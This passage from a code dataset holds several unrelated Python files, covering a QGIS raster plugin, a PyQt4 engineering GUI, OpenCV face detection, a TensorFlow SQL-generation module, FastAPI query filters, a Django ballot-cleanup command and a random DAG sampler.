parent=self.iface.mainWindow())\n self.dlg.caminho.clear()\n self.dlg.ponto2.clear()\n self.dlg.pushButton.clicked.connect(self.selecionar_saida) #conectando o botão para salvar o ponto1\n self.dlg.pushButton_2.clicked.connect(self.salvar_ponto2) #conectando o botão para salvar o ponto 2.\n\n\n def unload(self):\n \"\"\"Removes the plugin menu item and icon from QGIS GUI.\"\"\"\n for action in self.actions:\n self.iface.removePluginMenu(\n self.tr(u'&IMAGE PROCESSOR'),\n action)\n self.iface.removeToolBarIcon(action)\n # remove the toolbar\n del self.toolbar\n\n #Abaixo a função para que s eposso salvar os vetores de ponto 1 e 2.\n def selecionar_saida(self):\n arquivoCaminho = QFileDialog.getSaveFileName(self.dlg, \"Salvar o arquivo em: \", \"\", \"*.shp\")\n self.dlg.caminho.setText(arquivoCaminho)\n\n def salvar_ponto2(self):\n ponto2_caminho = QFileDialog.getSaveFileName(self.dlg, \"Salvar o arquivo em: \", \"\", \"*.shp\")\n self.dlg.ponto2.setText(ponto2_caminho)\n\n\n def run(self):\n \"\"\"Run method that performs all the real work\"\"\"\n # show the dialog\n self.dlg.show()\n # Run the dialog event loop\n\n self.dlg.show()\n result = self.dlg.exec_()\n # See if OK was pressed\n if result:\n self.dlg.show()\n #atribuir função as janelas do qt4\n imagens = self.dlg.mMapLayerComboBox.currentLayer()\n latitude= self.dlg.lineEdit.text() #inserir valor da latitude\n longitude= self.dlg.lineEdit_2.text() #inserir valor da longitude\n latitude2= self.dlg.lineEdit_3.text() #inserir valor da latitude2\n longitude2= self.dlg.lineEdit_4.text() #inserir valor da longitude2\n projecao= self.dlg.lineEdit_5.text() #inserir o EPSG da projeção\n localSalvo = self.dlg.caminho.text() #inserir o caminho para salvar ponto 1\n localSalvo2 = self.dlg.ponto2.text() #inserir o caminho para salvar o ponto 2.\n latitudedist=float(latitude) #transformando em float\n longitudedist=float(longitude) #transformando em float\n latitude2dist=float(latitude2) #transformando em float\n longitude2dist=float(longitude2) #transformando em float\n\n #Cálculo de distância euclidiana entre os 2 pontos coletados na imagem em .m\n\n a= np.array((latitudedist,longitudedist))\n b = np.array((latitude2dist, longitude2dist))\n dist = np.linalg.norm(a-b)\n self.dlg.distancia.setValue(dist)\n\n #configurando o QSlider para definir valor do contraste\n\n self.dlg.sl.setMinimum(0)\n self.dlg.sl.setMaximum(255)\n contraste = self.dlg.sl.value()\n\n #abaixo o código para ler a imagem no maplayer e adicionar o contraste e em seguida exibir no Qgis\n #selecionada= QgsMapLayerRegistry.instance().mapLayersByName(imagens)[0]\n contrastFilter=QgsBrightnessContrastFilter()\n contrastFilter.setContrast(float(contraste))\n imagens.pipe().set(contrastFilter)\n imagens.triggerRepaint()\n\n #modificando o nome do layer após alteração\n if contraste is not 0:\n for imagens in QgsMapLayerRegistry.instance().mapLayers().values():\n imagens.setLayerName('contraste_mod')\n else:\n imagens.setLayerName('Original')\n QgsMapLayerRegistry.instance().addMapLayer(imagens)\n\n # Verificando a extensão da imagem em X e Y\n\n if imagens is not None:\n\n xsize = imagens.rasterUnitsPerPixelX()\n ysize = imagens.rasterUnitsPerPixelY()\n\n extent = imagens.extent()\n\n # obtendo as cordenadas de tamanho da imagem na correspondente unidadee desta.\n ymax = extent.yMaximum()\n ymin=extent.yMinimum()\n xmax = extent.xMaximum()\n xmin = extent.xMinimum()\n self.dlg.xmax.setText(str(xmax))\n self.dlg.xmin.setText(str(xmin))\n self.dlg.ymax.setText(str(ymax))\n self.dlg.ymin.setText(str(ymin))\n\n\n #transformando as coordenadas do ponto 1 em coordenada linha x coluna\n\n t= ymax - longitudedist\n v= latitudedist - xmin\n\n row = int((t/ ysize) + 1)\n column = int((v / xsize) + 1)\n self.dlg.linhas.setText(str(row))\n self.dlg.colunas.setText(str(column))\n\n #transformando as coordenadas do ponto 2 em coordenada linha x coluna\n\n t1= ymax - longitude2dist\n v1= latitude2dist - xmin\n\n row = int((t1/ ysize) + 1)\n column = int((v1/ xsize) + 1)\n self.dlg.linhas2.setText(str(row))\n self.dlg.colunas2.setText(str(column))\n\n\n #abaixo será criado o ponto 1\n camada = QgsVectorLayer('Point?crs=epsg:'+projecao, 'PONTO 1' , 'memory')\n pr = camada.dataProvider()\n ponto = QgsPoint(float(latitude),float(longitude))\n pt= QgsFeature()\n pt.setGeometry(QgsGeometry.fromPoint(ponto))\n pr.addFeatures([pt])\n camada.updateExtents()\n QgsMapLayerRegistry.instance().addMapLayers([camada])\n properties = {'size': '2.0', 'red': '255,0,0'}\n symbol_layer = QgsSimpleMarkerSymbolLayerV2.create(properties)\n camada.rendererV2().symbols()[0].changeSymbolLayer(0, symbol_layer)\n canvas = self.iface.mapCanvas()\n extent = camada.extent()\n canvas.setExtent(extent)\n\n #abaixo será criado o ponto 2\n camada2 = QgsVectorLayer('Point?crs=epsg:'+projecao, 'PONTO 2' , 'memory')\n pr2 = camada2.dataProvider()\n ponto2 = QgsPoint(float(latitude2),float(longitude2))\n pt2= QgsFeature()\n pt2.setGeometry(QgsGeometry.fromPoint(ponto2))\n pr2.addFeatures([pt2])\n camada2.updateExtents()\n QgsMapLayerRegistry.instance().addMapLayers([camada2])\n properties2 = {'size': '2.0', 'green': '0,255,0'}\n symbol2_layer = QgsSimpleMarkerSymbolLayerV2.create(properties2)\n camada2.rendererV2().symbols()[0].changeSymbolLayer(0, symbol2_layer)\n canvas2 = self.iface.mapCanvas()\n extent2 = camada2.extent()\n canvas.setExtent(extent2)\n\n #recrevendo todos arquivos vetores gerados para serem salvos em uma pasta selecionada.\n\n QgsVectorFileWriter.writeAsVectorFormat(camada, localSalvo, \"utf_8_encode\", camada.crs(), \"ESRI Shapefile\")\n pnt_layer = QgsVectorLayer(localSalvo, \"Ponto B2E\", \"ogr\")\n QgsVectorFileWriter.writeAsVectorFormat(camada2, localSalvo2, \"utf_8_encode\", camada2.crs(), \"ESRI Shapefile\")\n pnt_layer2 = QgsVectorLayer(localSalvo2, \"Ponto B2E\", \"ogr\")\n","repo_name":"joycerdsilva/imageprocessor","sub_path":"Imagem.py","file_name":"Imagem.py","file_ext":"py","file_size_in_byte":11781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"4749783253","text":"# -*- coding: utf-8 -*-\n\nfrom PyQt4 import QtGui, QtCore\nimport sys, copy, traceback\nfrom gtdev.helper_methods import *\n\n\n## control class for the interface between GUI and calculation\nclass GUIcalcIO(QtGui.QWidget):\n ## @var cobj\n # master object for storing the component,\n # can be any instance of an AbstractTurbo class\n # @see AbstractTurbo\n cobj = 0\n\n ## @var tableList\n # storage for all input/output tables,\n # this is a list of lists of QTableWidget\n # @code\n # tableList[0]: tables for the parent component\n # tableList[0][0]: table for the thermodynamic input data\n # tableList[0][1]: table for the thermodynamic output data\n # tableList[0][2]: table for the aerodynamic input data\n # tableList[0][3]: table for the aerodynamic output data\n # tableList[1]: tables for the 1st sub-component\n # tableList[1][:]: tables for the thermo- & aerodynamic in/output data\n # tableList[2]: tables for the 2nd sub-component\n # ...\n # @endcode\n tableList = []\n\n ## Constructor\n #\n # initialize the GUI and all associated widgets\n def __init__(self, cobj_, parent_=None):\n QtGui.QWidget.__init__(self, parent_)\n\n # the man tab widget usually is the parent\n # (but this could be any Qt widget)\n self.parent = parent_\n\n # store the reference for the component\n # @todo check type of cobj_\n self.cobj = cobj_\n\n # widget layout\n self.calcThermoButton = QtGui.QPushButton(\"Calculate Thermodynamics\")\n self.calcAeroButton = QtGui.QPushButton(\"Calculate Aerodynamics\")\n self.calcAeroButton.setEnabled(0)\n\n self.connect(self.calcThermoButton, QtCore.SIGNAL(\"clicked()\"), self.calcThermodynamics)\n self.connect(self.calcAeroButton, QtCore.SIGNAL(\"clicked()\"), self.calcAerodynamics)\n\n self.thermoDone = False\n self.aeroDone = False\n\n # additional buttons if embedded within tab widget\n if self.parentWidget() != 0:\n self.exportSelectedButton = QtGui.QPushButton(\"Export Selected Component\")\n self.closeTabButton = QtGui.QPushButton(\"Close Tab\")\n\n self.connect(self.exportSelectedButton, QtCore.SIGNAL(\"clicked()\"), self.exportSelected)\n self.connect(self.closeTabButton, QtCore.SIGNAL(\"clicked()\"), self.parentWidget().closeTab)\n\n # component tree\n self.tree = QtGui.QTreeWidget()\n self.initTree()\n self.connect(self.tree, QtCore.SIGNAL('itemSelectionChanged()'), self.getActiveWidget)\n\n # widget stack\n self.initIOList()\n\n # error handling\n self.calcErr = QtGui.QErrorMessage()\n\n # layout\n leftbox = QtGui.QWidget()\n vboxtree = QtGui.QVBoxLayout()\n vboxtree.addWidget(self.tree)\n vboxtree.addWidget(self.calcThermoButton)\n vboxtree.addWidget(self.calcAeroButton)\n if self.parentWidget() != 0:\n vboxtree.addWidget(self.exportSelectedButton)\n vboxtree.addWidget(self.closeTabButton)\n leftbox.setLayout(vboxtree)\n\n splitter = QtGui.QSplitter()\n splitter.addWidget(leftbox)\n splitter.addWidget(self.ioWidgetStack)\n\n vbox0 = QtGui.QVBoxLayout()\n vbox0.addWidget(splitter)\n\n self.setLayout(vbox0)\n\n ## initialize structure tree\n #\n # build the structure tree based on the current cobj\n # the current component (cobj) will be the master node,\n # to which a list of corresponding sub-components as children (if present) is appended\n def initTree(self):\n if self.cobj == None:\n self.getMasterComponent()\n\n self.tree = QtGui.QTreeWidget()\n self.tree.setColumnCount(2)\n self.tree.setHeaderLabels([\"Component Name\", \"Type\"])\n\n masterTreeItem = QtGui.QTreeWidgetItem()\n masterTreeItem.setText(0, self.cobj.identification)\n masterTreeItem.setText(1, str(self.cobj))\n subTreeItems = []\n for elem in self.cobj.subcomponentList:\n this = QtGui.QTreeWidgetItem()\n this.setText(0, elem[1].identification)\n this.setText(1, str(elem[1]))\n subTreeItems.append(this)\n masterTreeItem.addChild(this)\n\n self.tree.addTopLevelItem(masterTreeItem)\n self.tree.setColumnWidth(0, 250)\n self.tree.setColumnWidth(1, 400)\n self.tree.expandAll()\n\n ## initialize component stack\n #\n # build the component stack based on the current cobj\n # the current component (cobj) will correspond to the first widget,\n # thereafter a widget for each corresponding sub-component (if present) is appended\n #\n # each widget contains the necessary tables for the corresponding (sub-)component\n def initIOList(self):\n # note: ordering of widgets (components) is important here!\n del self.tableList[:]\n\n self.ioWidgetStack = QtGui.QStackedWidget()\n\n # add widget for parent component to widget stack\n self.ioWidgetStack.addWidget(self.getParamIOWidget(self.cobj))\n\n # add widgets for sub-components to widget stack\n for elem in self.cobj.subcomponentList:\n self.ioWidgetStack.addWidget(self.getParamIOWidget(elem[1]))\n\n # update all tables\n self.updateTables()\n\n ## action for selecting a new component in the structure tree\n #\n # this function is called whenever the user selects a new (sub-)component in the structure tree\n # in consequence, the corresponding widget in the widget stack is selected and sent forward\n def getActiveWidget(self):\n\n # try to grab tab index if the current widget on the stack is a QTabWidget\n if isinstance(self.ioWidgetStack.currentWidget(), QtGui.QTabWidget):\n tab_index = self.ioWidgetStack.currentWidget().currentIndex()\n else:\n tab_index = -1\n\n # retrieve current selection and update the index of the widget stack\n self.ioWidgetStack.setCurrentIndex(self.getActiveObj()[0])\n\n # apply the tab index if both the old and the new widget on the stack are QTabWidgets\n if (tab_index >= 0) and (isinstance(self.ioWidgetStack.currentWidget(), QtGui.QTabWidget)):\n self.ioWidgetStack.currentWidget().setCurrentIndex(tab_index)\n\n ## retrieve the currently with the structure tree selected (sub-)component\n #\n # @return\n #\tan array describing the selected (sub-)component: [0] - index of selected component, [1] - reference to instance of selected component\n #\n def getActiveObj(self):\n\n # get selection of QTreeWidget\n try:\n # try to match the label of the selected component to the list of available components\n label = self.tree.selectedItems()[0].text(0)\n\n if label == self.cobj.identification:\n activeobj = self.cobj\n return [0, activeobj]\n\n for n in range(len(self.cobj.subcomponentList)):\n if label == self.cobj.subcomponentList[n][1].identification:\n activeobj = self.cobj.subcomponentList[n][1]\n return [n + 1, activeobj]\n\n except IndexError:\n return None\n\n ## export the selected component to a new tab\n #\n # this function is called whenever the user click the buttons \"export component\"\n # it retrieves the currently selected component and copies it into a new tab\n def exportSelected(self):\n\n # make a deep copy of selected component\n obj = copy.copy(self.getActiveObj()[1])\n\n if obj == None:\n QtGui.QMessageBox.information(self, \"Error\",\n \"Could not retrieve the currently selected component.\")\n return\n\n # make another deep copy\n # to retrieve and copy the parameter constraints imposed by the parent\n tmp = copy.copy(obj)\n tmp.__init__(\"tmp\")\n obj.thermoInputParams = tmp.thermoInputParams\n obj.thermoOutputParams = tmp.thermoOutputParams\n obj.aeroInputParams = tmp.aeroInputParams\n obj.aeroOutputParams = tmp.aeroOutputParams\n del tmp\n\n # create a new tab based on the generated copy\n self.parent.mainWidget.addTab(GUIcalcIO(obj, self.parent), obj.identification)\n\n ## build the io widget for a (sub-)component\n #\n # @param elem\n #\tcomponent of type AbstractTurbo\n def getParamIOWidget(self, elem):\n\n # thermodynamical GUI\n thermowidget = QtGui.QWidget()\n hboxThermo = QtGui.QHBoxLayout()\n vboxThermo = QtGui.QVBoxLayout()\n vboxThermo.addLayout(hboxThermo)\n thermowidget.setLayout(vboxThermo)\n scrollThermo = QtGui.QScrollArea()\n scrollThermo.setWidget(thermowidget)\n\n # aerodynamical GUI\n aerowidget = QtGui.QWidget()\n hboxAero = QtGui.QHBoxLayout()\n scrollAero = QtGui.QScrollArea()\n vboxAero = QtGui.QVBoxLayout()\n vboxAero.addLayout(hboxAero)\n aerowidget.setLayout(vboxAero)\n scrollAero.setWidget(aerowidget)\n\n # initialize tables for this component\n iotlist = []\n for i in range(4):\n table = QtGui.QTableWidget(self)\n\n table.setColumnCount(1)\n table.horizontalHeader().setStretchLastSection(True)\n iotlist.append(table)\n # connect the cellChanged action\n self.connect(table, QtCore.SIGNAL(\"cellChanged(int,int)\"), self.tableItemChanged)\n\n self.tableList.append(iotlist)\n\n # populate the widget with the tables\n hboxThermo.addWidget(self.tableList[-1][0])\n hboxThermo.addWidget(self.tableList[-1][1])\n\n hboxAero.addWidget(self.tableList[-1][2])\n hboxAero.addWidget(self.tableList[-1][3])\n\n # add tabs\n widget = QtGui.QTabWidget()\n widget.addTab(thermowidget, \"Thermo\")\n widget.addTab(aerowidget, \"Aero\")\n\n # execute custom modular subfunction connected to the component\n for i in elem.modularSubfunctionList:\n i(widget)\n\n return widget\n\n ## slot for changed table data\n #\n # this function is called whenever data in one of the tables is modified\n # this will reset the thermoDone and aeroDone status indicators\n def tableItemChanged(self, item_):\n thermoDone = False\n aeroDone = False\n\n self.calcAeroButton.setEnabled(0)\n\n ## populate a dictionary with data taken from tables\n #\n # @param table_\n #\teither a single table (QTableWidget) or a list of QTableWidgets to fetch the data from\n # @return\n #\ta dictionary containing key,values-pairs of the data within table_\n def getDictFromTable(self, table_):\n\n # target dictionary\n paramdict = {}\n\n try:\n # loop over all tables\n for i in range(len(table_)):\n\n # loop over all rows\n for n in range(table_[i].rowCount()):\n paramdict[str(table_[i].verticalHeaderItem(n).text())] = \\\n self.getInternalValueType(table_[i].item(n, 0).text())\n except TypeError:\n # loop over all rows\n for n in range(table_.rowCount()):\n paramdict[str(table_.verticalHeaderItem(n).text())] = \\\n self.getInternalValueType(table_.item(n, 0).text())\n\n return paramdict\n\n ## populate a table with data taken from a dictionary\n #\n # @todo Documentation!\n def getTableFromDict(self, dict_, table_):\n for i in range(len(table_)):\n for k in range(table_[i].rowCount()):\n for l, m in dict_.iteritems():\n if str(table_[i].verticalHeaderItem(k).text()) == l:\n table_[i].item(k, 0).setText(m)\n\n def getInternalValueType(self, qstring):\n try:\n if str(qstring) == \"None\":\n return None\n else:\n return float(qstring)\n except ValueError:\n return str(qstring)\n\n ## update all tables to reflect the current values stored within the component instances\n #\n # this will reset all tables for all (sub-)components of the current engine,\n # even the ones not shown (all entries of the widget stack)\n def updateTables(self):\n\n ## create item for vertical header\n def headerItem(caption_, tooltip_):\n item = QtGui.QTableWidgetItem()\n item.setText(str(caption_))\n item.setToolTip(str(tooltip_))\n\n return item\n\n ## create item for value item\n def valueItem(value_, tooltip_):\n if isinstance(value_, list) and len(value_) == 1:\n value_ = value_[0]\n \"WARNING: converted atomic list for \" + tooltip_ + \" to string.\"\n\n item = QtGui.QTableWidgetItem()\n item.setText(str(value_))\n item.setToolTip(str(tooltip_))\n\n return item\n\n ## create item for unit item\n def unitItem(unit_, tooltip_):\n item = QtGui.QTableWidgetItem()\n item.setText(\"[\" + str(unit_) + \"]\")\n item.setToolTip(str(tooltip_))\n item.setFlags(QtCore.Qt.ItemIsSelectable)\n item.setTextAlignment(QtCore.Qt.AlignCenter)\n\n return item\n\n # loop over all tables\n for n in range(len(self.tableList)):\n\n # get object associated to the table\n if n == 0:\n obj = self.cobj\n else:\n obj = self.cobj.subcomponentList[n - 1][1]\n\n # storage for all data to be printed\n dictlist = [obj.getThermoInputDict(),\n obj.getThermoOutputDict(),\n obj.getAeroInputDict(),\n obj.getAeroOutputDict()]\n\n # write data into tables\n for index, table in enumerate(self.tableList[n][:]):\n dict_ = dictlist[index]\n table.setRowCount(len(dict_.keys()))\n table.setColumnCount(2)\n labels = []\n for index, item in enumerate(dict_):\n table.setVerticalHeaderItem(index, headerItem(item, dict_[item][2]))\n table.setItem(index, 0, valueItem(dict_[item][0], dict_[item][2]))\n table.setItem(index, 1, unitItem(dict_[item][1], dict_[item][2]))\n table.setVerticalHeaderLabels(labels)\n table.setHorizontalHeaderLabels([\"Value\", \"Unit\"])\n table.horizontalHeader().setMinimumSectionSize(50)\n table.horizontalHeader().resizeSection(0, 200)\n table.horizontalHeader().setDefaultAlignment(QtCore.Qt.AlignHCenter)\n table.verticalHeader().setResizeMode(QtGui.QHeaderView.Fixed)\n\n ## update the input values for all (sub-)components\n #\n # copy the data entered into the input tables to all (sub-)components\n def writeInputToObject(self):\n\n # copy the data for the parent component\n self.cobj.setVariablesFromDict(self.getDictFromTable(self.tableList[0]))\n\n # copy the data for all sub-components\n for i in range(len(self.cobj.subcomponentList)):\n self.cobj.subcomponentList[i][1].setVariablesFromDict(self.getDictFromTable(self.tableList[i + 1]))\n\n ## launch calculation of thermodynamics\n def calcThermodynamics(self):\n try:\n self.writeInputToObject()\n self.cobj.calcThermo()\n self.updateTables()\n except Exception:\n self.calcErr.showMessage(str(sys.exc_info()[1]))\n except Exception as e:\n # print sys.exc_info()\n logger.error(e)\n else:\n self.calcAeroButton.setEnabled(1)\n self.thermoDone = True\n\n ## launch calculation of aerodynamics\n def calcAerodynamics(self):\n try:\n self.writeInputToObject()\n self.cobj.calcAero()\n self.updateTables()\n except Exception:\n self.calcErr.showMessage(str(sys.exc_info()[1]))\n except Exception as e:\n logger.error(e)\n else:\n self.aeroDone = True\n","repo_name":"RoyLemue/gtdev","sub_path":"gtdev/gui/GUIcalcIO.py","file_name":"GUIcalcIO.py","file_ext":"py","file_size_in_byte":16154,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"29178391358","text":"#imagens/px-people.jpg\r\n#haarcascade_frontalface_default.xml\r\n\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\n\r\nimagem=cv2.imread(\"px-people.jpg\")\r\nimagem=cv2.cvtColor(imagem,cv2.COLOR_BGR2RGB)\r\n\r\n#Transformando a imagem em escala de cinza\r\n\r\nimagem_cinza=cv2.cvtColor(imagem,cv2.COLOR_RGB2GRAY)\r\n\r\n#Criando o classificador\r\n\r\nclassificador=cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\r\n\r\n#Contando a quantidade de faces na imagem\r\n\r\nfaces=classificador.detectMultiScale(imagem_cinza,1.3,5)\r\n\r\nprint(\"Quantidade de rostos na imagem:\",len(faces))\r\n\r\n#Colocando retangulos nos rostos\r\n\r\nimagem_copy=imagem.copy()\r\n\r\nfor (x,y,w,h) in faces:\r\n\r\n cv2.rectangle(imagem_copy,(x,y),(x+w,y+h),(255,255,0),2)\r\n\r\nplt.imshow(imagem_copy)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n","repo_name":"KelvimImperial/detectando_fotos","sub_path":"reconhecimento De Rostos.py","file_name":"reconhecimento De Rostos.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"12834018681","text":"import sys\nsys.path.append( \"../../util\" )\n\nfrom networkcomponents import *\nfrom db_meta import *\nfrom multiple_pointer_custom import *\n\n# INPUT:\n# start_context: BS X N X D1\n# t_col_enoded: BS X T X D2.\n# Output:\n# 1. Columns of the VU units. BS X N X T\n# 2. Context Mask: Actual # of used contexts. BS\n# 2. Operator raw scores of the VU unit. BS X N X Len( OP )\n# 3. Distinct raw scores of the VU unit. BS X N X 2\ndef generate_multiple_vu( start_context, context_mask, t_col_encoded, t_col_mask, iter_num, scope, regularizer, do_agg_tot = False ):\n with tf.variable_scope( scope, reuse = tf.AUTO_REUSE ):\n start_context = apply_mask( start_context, context_mask, float( 0.0 ) )\n start_context = layer_norm( start_context, context_mask, scope = \"c_ln\" )\n mc1, p1 = get_pointer_N( start_context, t_col_encoded, t_col_mask, regularizer, scope = \"PTR1\", dim_scale = 2 )\n mc1 = apply_mask( mc1, context_mask, float( 0.0 ) )\n mc1 = layer_norm( mc1, context_mask, scope = \"m1_ln\" )\n\n # Get Other Scores.\n agg1 = tf.layers.dense( mc1, len( VEC_AGGREGATORS ), kernel_initializer = variable_initializer, name = \"agg_proj\", kernel_regularizer = regularizer )\n dist1 = tf.layers.dense( mc1, 2, kernel_initializer = variable_initializer, name = \"dist_proj\", kernel_regularizer = regularizer )\n op = tf.layers.dense( mc1, len( VEC_OPERATORS ), kernel_initializer = variable_initializer, name = \"oper_proj\", kernel_regularizer = regularizer )\n aggt = tf.layers.dense( mc1, len( VEC_AGGREGATORS ), kernel_initializer = variable_initializer, name = \"agg_tot_proj\", kernel_regularizer = regularizer )\n\n # Get Col Ptr 2.\n mc2, p2 = get_pointer_N( mc1, t_col_encoded, t_col_mask, regularizer, scope = \"PTR2\", dim_scale = 2 )\n mc2 = apply_mask( mc2, context_mask, float( 0.0 ) )\n mc2 = layer_norm( mc2, context_mask, scope = \"m2_ln\" )\n\n # Get Other scores.\n agg2 = tf.layers.dense( mc2, len( VEC_AGGREGATORS ), kernel_initializer = variable_initializer, name = \"agg_proj\", kernel_regularizer = regularizer )\n dist2 = tf.layers.dense( mc2, 2, kernel_initializer = variable_initializer, name = \"dist_proj\", kernel_regularizer = regularizer )\n \n if do_agg_tot:\n return mc1, mc2, p1, p2, agg1, agg2, dist1, dist2, op, aggt\n\n return mc1, mc2, p1, p2, agg1, agg2, dist1, dist2, op \n \n","repo_name":"kakaoenterprise/RYANSQL","sub_path":"src/valueunit_gen_network.py","file_name":"valueunit_gen_network.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"68"}
+{"seq_id":"73951422616","text":"import operator\nfrom typing import Any, Callable, Optional\n\nfrom core.database.base import Base\nfrom fastapi import HTTPException\nfrom sqlalchemy import func\nfrom sqlalchemy.orm import InstrumentedAttribute\nfrom sqlalchemy.sql import Select\n\n__all__ = ['BaseFilter', 'IntegerFilter', 'CharFilter', 'like', 'ilike', 'contains', 'icontains']\n\n\ndef like(model_field: InstrumentedAttribute, value: Any):\n return model_field.like(value)\n\n\ndef ilike(model_field: InstrumentedAttribute, value: Any):\n return model_field.ilike(value)\n\n\ndef contains(model_field: InstrumentedAttribute, value: Any):\n return model_field.contains(value)\n\n\ndef icontains(model_field: InstrumentedAttribute, value: Any):\n return func.lower(model_field).contains(func.lower(value))\n\n\nLOOKUP_EXPR_MAPPER: dict[str, Callable] = {\n '==': operator.eq,\n '>': operator.gt,\n '>=': operator.ge,\n '<': operator.lt,\n '<=': operator.le,\n 'like': like,\n 'ilike': ilike,\n 'contains': contains,\n 'icontains': icontains,\n}\n\n\nclass BaseFilter:\n def __init__(\n self,\n model_class: Optional[Base] = None,\n field_name: Optional[str] = None,\n lookup_expr: str = '==',\n method_name: Optional[str] = None,\n ):\n self.name = ''\n self.model_class = model_class\n self.field_name = field_name\n self.lookup_expr = LOOKUP_EXPR_MAPPER.get(lookup_expr)\n self.method_name = method_name\n\n def filter(self, db_query: Select, value: str) -> Select:\n value = self.validate_value(value)\n return db_query.where(self.lookup_expr(getattr(self.model_class, self.field_name), value))\n\n def validate_value(self, value: str) -> str:\n return value\n\n\nclass IntegerFilter(BaseFilter):\n def validate_value(self, value: str) -> int:\n return int(value)\n\n\nclass CharFilter(BaseFilter):\n def __init__(\n self,\n model_class: Optional[Base] = None,\n field_name: Optional[str] = None,\n lookup_expr: str = '==',\n method_name: Optional[str] = None,\n min_length: Optional[int] = None,\n max_length: Optional[int] = None,\n ):\n super().__init__(\n model_class=model_class,\n field_name=field_name,\n lookup_expr=lookup_expr,\n method_name=method_name,\n )\n self.min_length = min_length\n self.max_length = max_length\n\n def validate_value(self, value: str) -> str:\n value_length = len(value)\n if self.min_length and value_length < self.min_length:\n raise HTTPException(status_code=400, detail=f'{self.name} value is too short')\n if self.max_length and value_length > self.max_length:\n raise HTTPException(status_code=400, detail=f'{self.name} value is too long')\n return value\n","repo_name":"Fagtoy/bgram","sub_path":"project/core/filters/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"40680629610","text":"from django.db.models import Exists, OuterRef\n\nfrom utils.management.base import TournamentCommand\n\nfrom ...models import BallotSubmission, SpeakerScoreByAdj\n\n\nclass Command(TournamentCommand):\n\n help = \"Removes all blank ballot submissions, i.e. ones without adjudicator speaker scores attached.\"\n\n def add_arguments(self, parser):\n super(Command, self).add_arguments(parser)\n parser.add_argument(\"--dry-run\", action=\"store_true\", help=\"Show what it would delete, but do not actually delete\")\n\n def handle_tournament(self, tournament, **options):\n qs = BallotSubmission.objects.filter(debate__round__tournament=tournament).exclude(\n Exists(SpeakerScoreByAdj.objects.filter(ballot_submission=OuterRef('pk'))))\n for bsub in qs:\n if not options[\"dry_run\"]:\n self.stdout.write(\"Deleting {:s}\".format(str(bsub)))\n else:\n self.stdout.write(\"Would delete {:s}\".format(str(bsub)))\n if not options[\"dry_run\"]:\n qs.delete()\n","repo_name":"TabbycatDebate/tabbycat","sub_path":"tabbycat/results/management/commands/removeblankballots.py","file_name":"removeblankballots.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":219,"dataset":"github-code","pt":"68"}
+{"seq_id":"33553953425","text":"# coding: utf-8\n\nimport numpy as np\nimport pandas as pd\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom load_graph import load_graph,dict2graph\nfrom plot_graph import plot_graph\nimport os,argparse,glob,json\n\ndef sample_graphs(num_nodes, num_graphs, graph_dir, seed=111):\n\tif os.path.isdir(graph_dir):\n\t\tgraphs = [load_graph(path)\n\t\t\t\t\tfor path in glob.glob(os.path.join(graph_dir,'*.json'))]\n\telse:\n\t\tos.makedirs(graph_dir)\n\t\tgraphs = []\n\texcluded_graph_dir = os.path.join(graph_dir, 'exclude')\n\tif os.path.isdir(excluded_graph_dir):\n\t\texcluded_graphs = [load_graph(path)\n\t\t\t\t\t\t\t\tfor path in glob.glob(os.path.join(excluded_graph_dir,'*.json'))]\n\telse:\n\t\texcluded_graphs = []\n\tnum_excluded_graphs = len(excluded_graphs)\n\tgraphs += excluded_graphs\n\n\tprev_studied_dir = os.path.join(graph_dir, 'previously_studied')\n\tif os.path.isdir(prev_studied_dir):\n\t\tprev_studied_graphs = {os.path.basename(os.path.splitext(path)[0]):load_graph(path)\n\t\t\t\t\t\t\t\tfor path in glob.glob(os.path.join(prev_studied_dir,'*.json'))}\n\telse:\n\t\tprev_studied_graphs = dict()\n\n\trandom_state = np.random.RandomState(seed)\n\tduplications = []\n\tfor graph_ix in range(num_graphs):\n\t\twhile True:\n\t\t\tordered_nodes,node2parents,g = generate_directed_acyclic_graph(num_nodes,random_state=random_state)\n\t\t\toverlap = False\n\t\t\tfor g_prev in graphs:\n\t\t\t\tif nx.algorithms.isomorphism.is_isomorphic(g,g_prev):\n\t\t\t\t\toverlap = True\n\t\t\t\t\tbreak\n\t\t\tif not overlap:\n\t\t\t\tbreak\n\t\tgraphs.append(g)\n\n\t\tisomorphic_name = None\n\t\tfor name_prev,prev_g in prev_studied_graphs.items():\n\t\t\tif nx.algorithms.isomorphism.is_isomorphic(g,prev_g):\n\t\t\t\tisomorphic_name = name_prev\n\t\t\t\tbreak\n\n\t\tbasename_wo_ext = '{:02d}'.format(len(graphs)-num_excluded_graphs-1)\n\t\tif not isomorphic_name is None:\n\t\t\tduplications.append((basename_wo_ext,isomorphic_name))\n\t\tsave_path_wo_ext = os.path.join(graph_dir,basename_wo_ext)\n\t\twith open(save_path_wo_ext + '.json', 'w') as f:\n\t\t\tjson.dump({'ordered_nodes':ordered_nodes,'node2parents':node2parents}, f)\n\t\tplot_graph(g, save_path_wo_ext + '.png')\n\n\tif duplications:\n\t\tdf = pd.DataFrame(duplications,columns=['sampled_graph','previous_graph'])\n\t\tsave_path = os.path.join(graph_dir, 'duplications.csv')\n\t\tif os.path.isfile(save_path):\n\t\t\tdf.to_csv(save_path, index=False, mode='a',header=False)\n\t\telse:\n\t\t\tdf.to_csv(save_path, index=False)\n\n\ndef generate_directed_acyclic_graph(num_nodes, random_state=None):\n\tif random_state is None:\n\t\trandom_state = np.random.RandomState()\n\twhile True:\n\t\tnode2parents = dict()\n\t\tordered_nodes = []\n\t\tfor node_ix in range(num_nodes):\n\t\t\tparents = [node for node in node2parents.keys() if random_state.rand()>0.5]\n\t\t\tnode_name = 